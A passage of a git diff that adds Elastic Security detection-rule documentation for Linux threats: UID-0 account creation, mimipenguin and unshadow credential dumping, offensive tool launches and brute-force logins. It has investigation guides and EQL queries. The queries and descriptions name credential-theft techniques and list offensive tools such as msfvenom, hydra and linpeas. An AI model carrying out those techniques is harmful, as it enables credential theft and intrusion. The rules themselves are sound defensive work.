version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + +- Investigate the user account that got assigned a uid of 0, and analyze its corresponding attributes. + - !{osquery{"label":"Osquery - Retrieve User Accounts with a UID of 0","query":"SELECT description, gid, gid_signed, shell, uid, uid_signed, username FROM users WHERE username != 'root' AND uid LIKE\n'0'\n"}} +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Identify if the account was added to privileged groups or assigned special privileges after creation. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the created account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "usermod" and process.args in ("-u", "--uid") and process.args == "0" and +process.args in ("-o", "--non-unique") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-proc-filesystem.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-proc-filesystem.asciidoc new file mode 100644 index 0000000000..bdaa4847d9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-proc-filesystem.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-proc-filesystem]] +=== Potential Linux Credential Dumping via Proc Filesystem + +Identifies the execution of the mimipenguin exploit script which is linux adaptation of Windows tool mimikatz. Mimipenguin exploit script is used to dump clear text passwords from a currently logged-in user. The tool exploits a known vulnerability CVE-2018-20781. Malicious actors can exploit the cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/huntergregal/mimipenguin +* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2018-20781 + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Credential Dumping via Proc Filesystem* + + +The /proc filesystem in Linux provides a window into the system's processes, offering details like memory usage and command-line arguments. Adversaries exploit this by using tools like mimipenguin to extract plaintext credentials from memory, leveraging vulnerabilities such as CVE-2018-20781. The detection rule identifies suspicious sequences involving the 'ps' and 'strings' commands, which are indicative of attempts to access and parse sensitive data from the /proc filesystem. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id where the suspicious activity was detected, focusing on the processes involved. +- Examine the process execution history on the affected host to confirm the presence of the 'ps' and 'strings' commands executed in sequence, as indicated by the query. +- Investigate the command-line arguments used with the 'ps' and 'strings' commands to determine if they match the suspicious patterns specified in the query, such as '-eo pid command' and '/tmp/*'. +- Check for any recent modifications or suspicious files in the /tmp directory on the affected host, as this is a common location for temporary files used in attacks. +- Analyze the system logs and any available network traffic data to identify potential lateral movement or data exfiltration attempts following the credential dumping activity. +- Assess the system for any signs of compromise or additional malicious activity, such as unauthorized user accounts or unexpected network connections. +- Consider isolating the affected host from the network to prevent further credential exposure and initiate a comprehensive forensic analysis to understand the full scope of the incident. + + +*False positive analysis* + + +- System administrators or monitoring tools may use the 'ps' and 'strings' commands for legitimate system diagnostics and performance monitoring. To mitigate this, create exceptions for known administrative scripts or tools that regularly execute these commands. +- Automated scripts for system health checks might trigger the rule if they use 'ps' and 'strings' to gather process information. Identify and whitelist these scripts by their specific command patterns or execution paths. +- Security tools that perform regular scans or audits might mimic the behavior detected by the rule. Review and exclude these tools by their process names or execution context to prevent false alerts. +- Developers or testers running debugging sessions may inadvertently trigger the rule when analyzing process memory. Establish a process to temporarily disable the rule or exclude specific user accounts during known testing periods. +- Custom monitoring solutions that log process details for analysis could match the rule's criteria. Document and exclude these solutions by their unique execution characteristics or host identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further credential exposure and potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the 'ps' and 'strings' commands with the specified arguments. +- Conduct a thorough review of the affected system's process memory and logs to identify any additional unauthorized access or data exfiltration attempts. +- Change passwords for all user accounts on the affected system, prioritizing those with elevated privileges, to mitigate the risk of credential misuse. +- Apply patches and updates to address CVE-2018-20781 and any other known vulnerabilities on the affected system to prevent future exploitation. +- Enhance monitoring and logging on the affected host and similar systems to detect any recurrence of the exploit or similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.name with maxspan=1m + [process where host.os.type == "linux" and process.name == "ps" and event.action in ("exec", "start", "exec_event") + and process.args in ("-eo", "pid", "command")] + [process where host.os.type == "linux" and process.name == "strings" and event.action in ("exec", "start", "exec_event") + and process.args : "/tmp/*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Technique: +** Name: Exploitation for Credential Access +** ID: T1212 +** Reference URL: https://attack.mitre.org/techniques/T1212/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-unshadow.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-unshadow.asciidoc new file mode 100644 index 0000000000..a91d3c3936 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-unshadow.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-potential-linux-credential-dumping-via-unshadow]] +=== Potential Linux Credential Dumping via Unshadow + +Identifies the execution of the unshadow utility which is part of John the Ripper, a password-cracking tool on the host machine. Malicious actors can use the utility to retrieve the combined contents of the '/etc/shadow' and '/etc/password' files. Using the combined file generated from the utility, the malicious threat actors can use them as input for password-cracking utilities or prepare themselves for future operations by gathering credential information of the victim. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Credential Dumping via Unshadow* + + +Unshadow is a utility within the John the Ripper suite, used to merge `/etc/shadow` and `/etc/passwd` files, making them vulnerable to password cracking. Adversaries exploit this to extract and crack user credentials, gaining unauthorized access. The detection rule identifies suspicious execution of Unshadow by monitoring process activities, focusing on specific execution patterns and argument counts, thus flagging potential credential dumping attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the unshadow utility by checking the process name and arguments, ensuring that the process.args_count is 3 or more. +- Investigate the user account under which the unshadow process was executed to determine if it aligns with expected administrative activities or if it indicates potential unauthorized access. +- Examine the command line arguments used with the unshadow process to identify the specific files targeted, such as /etc/shadow and /etc/passwd, and verify if these files were accessed or modified. +- Check for any subsequent processes or activities that might indicate password cracking attempts, such as the execution of John the Ripper or similar tools, following the unshadow execution. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional suspicious activities that might suggest a broader attack campaign. +- Assess the risk and impact by determining if any sensitive credentials were potentially exposed and consider implementing additional monitoring or access controls to prevent future incidents. + + +*False positive analysis* + + +- System administrators or security teams may use the unshadow utility for legitimate auditing or recovery purposes. To handle this, create exceptions for known administrative accounts or specific maintenance windows. +- Automated scripts or backup processes might invoke unshadow as part of routine operations. Identify these scripts and exclude their execution paths or associated user accounts from triggering alerts. +- Security testing or penetration testing activities could involve the use of unshadow. Coordinate with the testing team to whitelist their activities during the testing period to avoid false positives. +- Development or testing environments might have unshadow executed as part of security tool evaluations. Exclude these environments from monitoring or adjust the rule to focus on production systems only. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes related to the unshadow utility to halt ongoing credential dumping activities. +- Conduct a thorough review of the affected system's `/etc/shadow` and `/etc/passwd` files to identify any unauthorized modifications or access. +- Change passwords for all user accounts on the affected system, prioritizing those with elevated privileges, to mitigate the risk of compromised credentials. +- Review and update access controls and permissions for sensitive files, ensuring that only authorized users have access to `/etc/shadow` and `/etc/passwd`. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar activities across the network to detect and respond to future credential dumping attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name == "unshadow" and process.args_count >= 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-hack-tool-launched.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-hack-tool-launched.asciidoc new file mode 100644 index 0000000000..9e1fd81b02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-hack-tool-launched.asciidoc @@ -0,0 +1,247 @@ +[[prebuilt-rule-8-19-34-potential-linux-hack-tool-launched]] +=== Potential Linux Hack Tool Launched + +Monitors for the execution of different processes that might be used by attackers for malicious intent. An alert from this rule should be investigated further, as hack tools are commonly used by blue teamers and system administrators as well. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Hack Tool Launched* + + +Linux environments often utilize various tools for system administration and security testing. While these tools serve legitimate purposes, adversaries can exploit them for malicious activities, such as unauthorized access or data exfiltration. The detection rule identifies suspicious process executions linked to known hacking tools, flagging potential misuse by monitoring specific process names and actions indicative of exploitation attempts. + + +*Possible investigation steps* + + +- Review the process name and command-line arguments that triggered the alert to determine if they identify any known hacking tools listed in the query, such as "crackmapexec" or "sqlmap". +- Check the user account associated with the process execution to assess if it is a legitimate user or potentially compromised. +- Investigate the source and destination IP addresses involved in the process execution to identify any unusual or unauthorized network activity. +- Examine the command line arguments used during the process execution to understand the intent and scope of the activity. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities. +- Verify if the process execution aligns with any scheduled tasks or known administrative activities to rule out false positives. + + +*False positive analysis* + + +- System administrators and security teams often use tools like "john", "hashcat", and "hydra" for legitimate security testing and password recovery. To reduce false positives, create exceptions for these tools when used by authorized personnel or during scheduled security assessments. +- Blue team exercises may involve the use of exploitation frameworks such as "msfconsole" and "msfvenom". Implement a process to whitelist these activities when they are part of a sanctioned security drill. +- Network scanning tools like "zenmap" and "nuclei" are frequently used for network mapping and vulnerability assessments. Establish a baseline of normal usage patterns and exclude these from alerts when they match expected behavior. +- Web enumeration tools such as "gobuster" and "dirbuster" might be used by web developers for testing purposes. Coordinate with development teams to identify legitimate use cases and exclude these from triggering alerts. +- Regularly review and update the list of excluded processes to ensure that only non-threatening activities are exempted, maintaining a balance between security and operational efficiency. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the alert, such as those listed in the detection query, to halt potential malicious activities. +- Conduct a thorough review of system logs and process execution history to identify any additional indicators of compromise or lateral movement attempts. +- Restore the affected system from a known good backup if any unauthorized changes or data exfiltration are confirmed. +- Update and patch all software and applications on the affected host to mitigate vulnerabilities that could be exploited by the identified tools. +- Implement stricter access controls and monitoring on the affected host to prevent unauthorized execution of potentially malicious tools in the future. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +( + process.name in~ ( + // exploitation frameworks + "crackmapexec", "msfconsole", "msfvenom", "sliver-client", "sliver-server", "havoc", + // network scanners (nmap left out to reduce noise) + "zenmap", "nuclei", "netdiscover", "legion", + // web enumeration + "gobuster", "dirbuster", "dirb", "wfuzz", "ffuf", "whatweb", "eyewitness", + // web vulnerability scanning + "wpscan", "joomscan", "droopescan", "nikto", + // exploitation tools + "sqlmap", "commix", "yersinia", + // cracking and brute forcing + "john", "hashcat", "hydra", "ncrack", "cewl", "fcrackzip", "rainbowcrack", + // host and network + "linenum.sh", "linpeas.sh", "pspy32", "pspy32s", "pspy64", "pspy64s", "binwalk", "evil-winrm", + "linux-exploit-suggester-2.pl", "linux-exploit-suggester.sh", "panix.sh" + ) or + ( + process.name : "python*" and + process.args : ("*sqlmap.py", "*crackmapexec", "*commix.py") + ) or + ( + process.name : "ruby*" and process.args : "*wpscan" + ) or + ( + process.name in~ ("bash", "dash", "sh", "zsh", "ksh", "fish", "busybox") and + process.args : ("*linenum.sh*", "*linpeas.sh*", "*linux-exploit-suggester.sh*", "*panix.sh*") + ) or + ( + process.name : "perl*" and process.args : "*linux-exploit-suggester-2.pl" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Cracking +** ID: T1110.002 +** Reference URL: https://attack.mitre.org/techniques/T1110/002/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-local-account-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-local-account-brute-force-detected.asciidoc new file mode 100644 index 0000000000..74d161ccc4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-linux-local-account-brute-force-detected.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-potential-linux-local-account-brute-force-detected]] +=== Potential Linux Local Account Brute Force Detected + +Identifies multiple consecutive login attempts executed by one process targeting a local linux user account within a short time interval. Adversaries might brute force login attempts across different users with a default wordlist or a set of customly crafted passwords in an attempt to gain access to these accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Linux Local Account Brute Force Detected* + + +In Linux environments, the 'su' command is used to switch user accounts, often requiring a password. Adversaries exploit this by attempting numerous logins with various passwords to gain unauthorized access. The detection rule identifies suspicious activity by monitoring rapid, repeated 'su' command executions from a single process, excluding common legitimate parent processes, indicating potential brute force attempts. + + +*Possible investigation steps* + + +- Review the process execution details to identify the parent process of the 'su' command, focusing on any unusual or unauthorized parent processes not listed in the exclusion list. +- Analyze the frequency and pattern of the 'su' command executions from the identified process to determine if they align with typical user behavior or indicate a brute force attempt. +- Check the user account targeted by the 'su' command attempts to assess if it is a high-value or sensitive account that might be of interest to adversaries. +- Investigate the source host (host.id) to determine if there are any other suspicious activities or anomalies associated with it, such as unusual network connections or other security alerts. +- Correlate the event timestamps with other logs or alerts to identify any concurrent suspicious activities that might indicate a coordinated attack effort. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tools may trigger the rule if they execute the 'su' command frequently. To mitigate this, identify and whitelist these scripts or tools by adding their parent process names to the exclusion list. +- Scheduled tasks or cron jobs that require switching users might be misidentified as brute force attempts. Review and exclude these tasks by specifying their parent process names in the exclusion criteria. +- Development or testing environments where frequent user switching is part of normal operations can generate false positives. Consider excluding these environments from monitoring or adjust the detection threshold to better fit the operational context. +- Continuous 